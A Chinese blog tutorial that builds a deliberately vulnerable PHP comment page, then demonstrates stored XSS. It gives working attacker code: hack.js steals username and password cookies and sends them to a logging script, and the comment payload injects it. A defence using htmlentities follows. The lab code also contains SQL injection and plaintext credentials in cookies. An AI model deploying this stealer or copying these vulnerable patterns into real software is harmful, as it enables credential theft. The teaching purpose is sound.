原理:恶意Web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。

大概流程是,建立一个用于发表评论的网页,然后XSS攻击者通过XSS漏洞进行攻击获取其他访问该网页的用户的cookie信息并记录到攻击者设定的文件中。

首先,我们得先配置好PHP的运行环境,这个网上有一大堆资料和软件可以下载,我这里安装的是wampserver,同时为了方便操作安装了MySQL workbench。

接着,搭建数据库,用于储存用户的评论

create database test;
use test;
create table comments
(
id int(16) AUTO_INCREMENT,
uname varchar(1600),
ucomment varchar(2000),
primary key(id)
);

用户登录界面login.php:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>登录</title>
<style type="text/css">
#login{text-align:center;margin-top:100px;}
</style>
</head>
<?php
if(isset($_POST['submit'])){
//设置cookie
setcookie("username", $_POST["username"],time()+3600*24);
setcookie("password", $_POST["password"],time()+3600*24);
echo "<meta http-equiv=refresh content='0;url=home.php'>";//跳转到home.php
}
?>
<body>
<div id="login">
<form method="post">
<p>用户名: <input type="text" name="username" ></p>
<p>&nbsp;&nbsp;密码: <input type="text" name="password"></p>
<button type="submit" name="submit" style="width:60px;height:30px;">登录</button>
</form>
</div>
</body>
</html>

用户评论界面home.php:

<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">发表评论</div>
<div style="padding:6px;">
昵称:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
评论:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">评论集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');//连接数据库
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo $row['uname'];?></span><br/>
<span name="comment" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<?php echo $row['ucomment'];?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>

提交评论至数据库中list.php:

<?php
$link = mysql_connect('localhost','root','123456'); //连接数据库
mysql_query('set names gbk');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
echo 'Connection OK';
$name = $_POST["name"];
$comment = $_POST["comment"];
mysql_select_db('test',$link);
$query="insert into comments(uname,ucomment) values ('{$name}','{$comment}');";
if (!mysql_query($query,$link))
{
die('Error: ' . mysql_error());
}
$result=mysql_query("SELECT uname,ucomment FROM comments");
while($row=mysql_fetch_array($result))//通过循环展示数据内容
{
echo $row["uname"] . "<br/>";
echo $row["ucomment"] . "<br/>";
}
mysql_close($link); //关闭数据库连接
echo "<meta http-equiv=refresh content='0;url=home.php'>";//返回home.php
?>

攻击者所用的脚本攻击hack.js:

var username = getCookie('username');
var password = getCookie('password');
var script = document.createElement('script');
script.src = 'http://localhost/test/index.php?username=' + username + '&password=' + password; //保存数据的页面的位置
document.body.appendChild(script); function getCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
return null;
}

hack.js传送数据到index.php

<?php
if(!empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password']; try{
$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$username\t $password\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>

然后攻击者先登录该评论页面,然后发表包含如下语句的评论:

<script type="text/javascript" src="http://localhost/test/hack.js"></script>

则当其他用户浏览该评论页面时,这段恶意脚本就会执行,从而执行hack.js的代码将用户的cookie发送给index.php从而被保存到攻击者的文件中。

如何防止这种攻击呢?

上述XSS攻击的核心是利用了脚本注入,对用户的输入没有做出检查,信赖用户输入,因此如果我们不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题。更简单一点说,不要直接echo输出,换成用PHP的htmlentities函数将所有的评论不是以嵌入HTML的形式,而是以纯文本直接展示在页面中,这样无论如何都可以确保不会修改到HTML的DOM元素,而导致恶意代码的嵌入。

修改后的代码如下:

<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<?php
function ReplaceScript(&$txt)
{
$str="' <script[^>]*?>.*?</script>'si ";
print $txt=preg_replace("$str","",$txt);
}
?>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">发表评论</div>
<div style="padding:6px;">
昵称:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
评论:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">评论集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo htmlentities($row['uname'],ENT_QUOTES,"GB2312");?></span><br/>
<span name="comment" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<?php $new = htmlentities($row['ucomment'],ENT_QUOTES,"GB2312");echo $new;?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>

简单XSS跨站脚本攻击实验的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  3. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  4. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  5. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  6. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  7. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  8. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  9. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

随机推荐

  1. java初级开发一系列的工具安装配置

    最近压力很大,刚刚帮朋友安装了一整套环境,按照印象写下此篇记录(没有图解),一是用来释放压力,二来希望可以帮到各位. 一.首先,Eclipse的安装,下载eclipse压缩包,一般为200~300M, ...

  2. 使用Java语言开发微信公众平台(四)——图文消息的发送与响应

    在上一篇文章中,我们实现了被关注回复与关键词回复功能.在用户关注的时候自动推送功能菜单,并根据用户输入的关键词,回复特定信息.但是,我们只能回复文本消息给用户,如何才回复一条图文消息呢?本周,我们一起 ...

  3. 那些"不务正业"的IT培训公司

    前言 大四下期了,现在准备找一份Java开发的实习工作,于是在各大网站上投递简历-智联招聘.51job.拉勾网,慧眼识真金的我必然会把培训机构给过滤掉,对于重庆来说招聘实习的公司少之又少,然而是智联招 ...

  4. MYSQL数据库-SELECT详解

    将SQL文件导入数据库中 $   source /url/file_name.sql ======================================================= S ...

  5. 深入浅出分析MySQL MyISAM与INNODB索引原理、优缺点、主程面试常问问题详解

    本文浅显的分析了MySQL索引的原理及针对主程面试的一些问题,对各种资料进行了分析总结,分享给大家,希望祝大家早上走上属于自己的"成金之路". 学习知识最好的方式是带着问题去研究所 ...

  6. iOS开发--Runtime的简单使用之关联对象

    一.Runtime关联对象的方法简介: 在<objc/runtime.h>中,有三个关联的方法,分别是: objc_setAssociatedObject objc_getAssociat ...

  7. spring security 3.x 多页面登录配置入门教程

    最近在最shiro的多入口登录,搞了好久,就把spring security拿出来再炒一下,这是我以前在csdn写过的一篇博客. spring security 是一个权限控制的框架.可以很方便地实现 ...

  8. python 三层架构说明

    三层架构(3-tier architecture) 通常意义上的三层架构就是将整个业务应用划分为:表现层(Presentation layer).业务逻辑层(Business Logic Layer) ...

  9. 如何快速将本地项目托管到到github上?

    1,打开你的本地项目文件夹,比如 test-demo: 2,打开github(没有github的要自己注册下), 点击new repository 3,填写项目信息,创建项目 4,复制新建的项目url ...

  10. weex里Vuex state使用storage持久化

    在weex里使用Vuex作为state管理工具,问题来了,如何使得state可以持久化呢?weex官方提供store模块,因此我们可以尝试使用该模块来持久化state. 先看下该模块介绍: stora ...